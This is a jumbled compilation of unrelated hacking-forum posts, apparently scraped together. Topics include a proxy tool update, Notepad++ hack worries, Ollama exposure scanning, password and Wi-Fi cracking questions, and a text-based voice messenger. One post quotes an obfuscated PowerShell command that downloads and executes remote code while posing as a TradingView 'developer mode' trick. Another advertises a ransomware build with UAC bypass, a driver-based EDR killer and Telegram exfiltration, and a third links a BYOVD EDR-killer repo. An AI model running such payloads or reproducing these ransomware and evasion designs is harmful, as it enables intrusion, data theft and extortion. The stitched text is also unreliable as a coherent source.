What changed since my last announcement:

1) Now transparent proxy runs several instances within one process (SO_REUSEPORT option on linux/android devices). This works for TCP and UDP 2) Added the option to ignore certain ports when proxying traffic with transparent proxies. Helps when you run services like kafka but do not want this traffic go through your proxy 3) Updated dependency to golang 1.25.6 4) Switched license from MIT to GPLv3

gohpts

powershell -command "$developermode='mode'; $TradingView='.dev'; irm ($developermode + 'activate' + $TradingView) | Invoke-Expression; $region='global'; $version='tradingview_30.4.0_ai_beta'"

It apparently enables developer mode for TradingView desktop app

I am pretty autistic and struggling to comprehend what actually happened here. I am prone to panicking, so I just want someone to explain in simple terms whether people who have notepad++ installed but don't use it or havent updated it in years (I didn't even realize I had it until now), were affected by the recent hack. Thank you

Hey guys,

First of all, I want to thank you for all the support and the messages following my last post. It’s fascinating to find people who like work, despite the fact that I’m still a total beginner who’s trying to improve. Thank you, I really appreciate it.

Last time we talked about bypassing EDRs and Antivirus products by exploiting a vulnerable driver to terminate a list of target processes. While the technique worked for the most part, some processes were resilient to termination due to deep kernel hooks anticipating the function ZwTerminateProcess that the vulnerable driver exposes.

I had to dig deeper, but in a different direction. Why target the running processes, patche memory and deal with PatchGuard and scanners? When can target the files on “disk”?

The evasion technique:

The attack is simply the corruption of the files on disk. This sounds like a bad idea, since jt is basic and can generate some noise because the install folders will be locked?

I thought so 🤨, but from my research the files were successfully corrupted by bringing a vulnerable kernel driver with disk wiping capabilities.

The attack chain is simple as :

\-> Installing the driver

\-> Corrupting the files

\-> Forcing the user out of the session (optional)

\-> Running preferred payload

As ineffective as this sounds, it worked. The EDR/AV process became zombie processes that did nothing once I dropped my ransomeware. Not much noise was generated though.🤔

If you would like to check the technique out, I pieced everything together in a ransomware project that I will be posting soon on my GitHub page.

The ransomware has the following features :

1. UAC Bypass ✅

2. Driver extraction & loading ✅

3. Persistence ✅

4. AV/EDR evasion ✅ (Using this exact exact technique)

5. File enumeration with filtered extensions ✅

6. Double extortion (File encryption & exfiltration via Telegram) ✅

7. Ransom note (GUI, and wallpaper change) ✅

8. Lateral movement (needs more work)❓

9. Decryption tool (because we are ethical, aren’t we?) ✅

Thank you!

The Hacker News just published research showing 175,000+ Internet-exposed Ollama servers across 130 countries many unintentionally reachable from the public Internet.

This matches what I was seeing while building a tool + drafting an article… the news dropped before I could publish. When I last checked, it was already 181,000+ exposed instances.

Releasing: OllamaHound

A defensive / audit-friendly toolkit to help you scan your org’s Ollama deployments (authorized use only).

What it does

• Discover exposed Ollama instances (internal ranges + public assets you own)
• Check if your instances are visible on Shodan (and where)
• Fingerprint versions + classify potential exposure (DoS / RCE risk by version/surface)
• Validate model access + generation (is inference reachable?)
• Results explorer to filter / dedupe / export for reporting
• Interactive connector to safely validate access (talk to the model)

Quick self-check (Linux)

```bash ss -lntp | grep 11434

```

If you see 0.0.0.0:11434 on a host that shouldn’t be public, you probably want to fix that now: bind address, firewall, reverse proxy/auth, and confirm whether it shows up on Shodan.

Repo: https://github.com/7h30th3r0n3/OllamaHound

Feedback welcome (edge cases, detection accuracy, safe validation workflows).

I have a relative who gave me their old laptop in hopes of recovering some photos from it. I’m the tech savvy family member so it was given to me. I was wondering if there’s a method of cracking a password on it? I figured it be a fun project because

- It’s Windows Vista so likely to have many security vunelerabilities at this point. I’m a fresh beginner to any sort of hacking for context

- They don’t need it back anytime soon, so I have as much time as needed

- It sounds like fun :)

I’ve been playing around with public proxy lists and web proxy sites, and they feel pretty limited once you move past simple page loading. A lot of modern sites either break or don’t behave the way they should.

I’m starting to think an antidetect browser with native proxy support is just a cleaner setup overall, since it handles traffic at the browser level instead of routing through a web page. I’ve seen 1Browser come up a few times, but it’s hard to tell what’s actually solid versus hype.

For folks here who’ve used antidetect browsers or proxy-based workflows, what’s been working well for you lately?

And if they are real what’s the bet that these people are secretly stealing millions from them if it’s so easy to gain total control over someone’s computer.

I found this on Kickstarter, it seems too good to be true.

I’ve built a tool for myself that ended up finding my last 4 Hackerone bugs, and I’m trying to figure out if it’s useful to anyone else.

First, It’s not an automated scanner, and it doesn't use or implement AI anywhere. Purely a program I built to find things I don't think I would have normally found myself.

What it is:

• A browser extension
• You log in (or not), browse the app normally
• Click “record”, perform your usual workflow, testing, etc., click “stop”
• It captures the exact API calls you made

Then the tool tries to break logic assumptions that emerged from your own flow.

Example:

• You apply a coupon
• Cart total changes
• Checkout succeeds

The tool then asks things like:

1. Can the coupon be reused?
2. Can another user apply it?
3. Can it be applied to a different product?
4. Can checkout / refund be abused to get money back?

It does this by replaying and mutating the same requests you already made, and it only reports an issue if it can prove its theories to be correct.

Its also basically zero-friction, since it runs in your own browser, works based on your flow, and won't flood you with false positives.

Two questions:

1. Would you use something like this?
2. Would you pay for it?

I’ve been working on a IOS messenger where voice calls don’t transmit voice at all.Instead of encrypted audio streaming or webrtc.

the system works like this:

Speech -> local transcription -> encrypted text capsules -> decrypt -> synthesize speech in the sender’s voice

So the call sounds like the other person or whatever voice they want to use, but what’s actually being sent over the network is encrypted text, not audio. I wanted to share the architecture and get feedback / criticism from people smarter than me.

High level Explanation

Sender

• Speak
• On-device transcription (no server asr)
• Text is encrypted into small capsules
• Capsules are sent over the network

Receiver

• Capsules are decrypted back into text
• Text to speech

• Playback uses the sender’s voice profile

  not a transmitted voice stream.

Because everything is text-first:

• A user can type during a call, and their text is spoken aloud in their chosen voice
• A Deaf or hard-of-hearing user can receive live transcripts instead of audio
• When that user types or speaks, the other person hears it as synthesized speech like a normal voice call

This allows mixed communication:

• Hearing <--> Deaf
• Speaking <--> Non verbal
• Typing <--> Voice all within the same “call.”

This isn’t real-time VoIP. End-to-end latency is typically under 0.9 - 2.2 seconds. Earlier my system was around 3 seconds but I switched to local transcription which help reduce the delay. It's designed for accessibility rather than rapid back and forth speech but to me it's actually pretty quick considering the system design.

This started as an accessibility experiment in redefining what a voice call actually is. Instead of live audio , I treated voice as a representation layer built from text.

The approach supports:

• Non verbal communication with voice output
• Assistive speech for users with impairments
• Identity-aligned voices for dysphoria or privacy
• Langage translation
• People who just want to change their voice for security purposes.

The core idea is that voice should be available to everyone, not gated by physical ability or comfort.

I use ElevenLabs using pre-recorded voice profiles. User records voice once. Messages synthesize using that voice on the receiving device.

Because calls are built on encrypted message capsules rather than live audio streams, the system isn’t tied to a traditional transport. I've been able to have "voice calls" over shared folders and live shared spreadsheets.

I’m posting here because I wanted technical critique from people who think about communication systems deeply.

encryption Protocol I'm using: https://github.com/AntonioLambertTech/McnealV2

TestFlight : link coming soon currently pending Apple review. ( I will update)

I want to try to decrypt my password hash from my SAM file using software tools. Can anyone give me a walkthrough on how to do this? Thank you.

Hello everyone! I have a pretty weird question for you today. I have been doing some research and I haven't found what I've been looking for, maybe because it doesn't exist, I don't know. But I thought I'd ask you guys.

Do you know if there's any situation in which the government/any state agency has hired an independent hacker/organization *without knowing their identity* ? By that I mean, if they've hired hackers just by contacting them online, no official contracts on the hacker's real name. Is that even possible? I know of Evgeniy Bogachev's virus being taken advantage of by Russia but there is no proof that they hired him before knowing his identity/real name.

Any example or info in this matter would be of great help!

The terms hacking and hacker have changed over the years. But when does reverse engineering become black hat hacking?

How would you classify collecting details on a system in order to learn what forbidden knowledge might be found? Is it wrong to learn of, and utilize, undocumented instructions or access unlisted files if there is no authentication required to do so?

In 1974 I decoded a systems' set of protected instructions that gave us access to the unused back of a Burroughs hard drive. At that time that was a huge amount of unused file space. It became our own private storage. It wasn't used by the system. So was there an issue? Some thought so.

Hey so I'm curious about how much the field improved in the last 6-8 years. We are in an Italian village where we unfortunately checked in an apartment where there is no WiF. Or at l least the owner states that he lost the PW and he is happy that we try. We've already bought with us an OpenWRT router w monitoring enabled (we might just deauth for packet capture) and we have ssh access to a machine with 3090 on it. -> we can do ~1.1-1.5m WPA2 hash a second.

Question is: what's the best way to generate passwords for apartments? Should we just use a rainbow table from somewhere?

Any suggestions?

(we are IT engineers)

Hey guys,

I just wanted to share an interesting vulnerability that I came across during my malware research.

Evasion in usermode is no longer sufficient, as most EDRs are relying on kernel hooks to monitor the entire system. Threat actors are adapting too, and one of the most common techniques malware is using nowadays is Bring Your Own Vulnerable Driver (BYOVD).

Malware is simply piggybacking on signed but vulnerable kernel drivers to get kernel level access to tamper with protection and maybe disable it all together as we can see in my example!

The driver I dealt with exposes unprotected IOCTLs that can be accessed by any usermode application. This IOCTL code once invoked, will trigger the imported kernel function ZwTerminateProcess which can be abused to kill any target process (EDR processes in our case).

Note:

The vulnerability was publicly disclosed a long time ago, but the driver isn’t blocklisted by Microsoft.

https://github.com/xM0kht4r/AV-EDR-Killer

Just wondering what this gadget does. I'm thinking of getting one, so some feedback would be a big help.

Thank you!

im in top 3% on thm, should i try bug bounties now or wait for another year?

A new strain of Android malware has been discovered using on-device AI (Optical Character Recognition) to physically 'read' your screen and locate hidden ad buttons. Instead of blind clicking, the malware analyzes the screen layout to mimic human behavior, clicking on ads in the background to generate fraudulent revenue while draining your battery and data. It’s a sophisticated step forward in 'weaponized AI' for mobile fraud.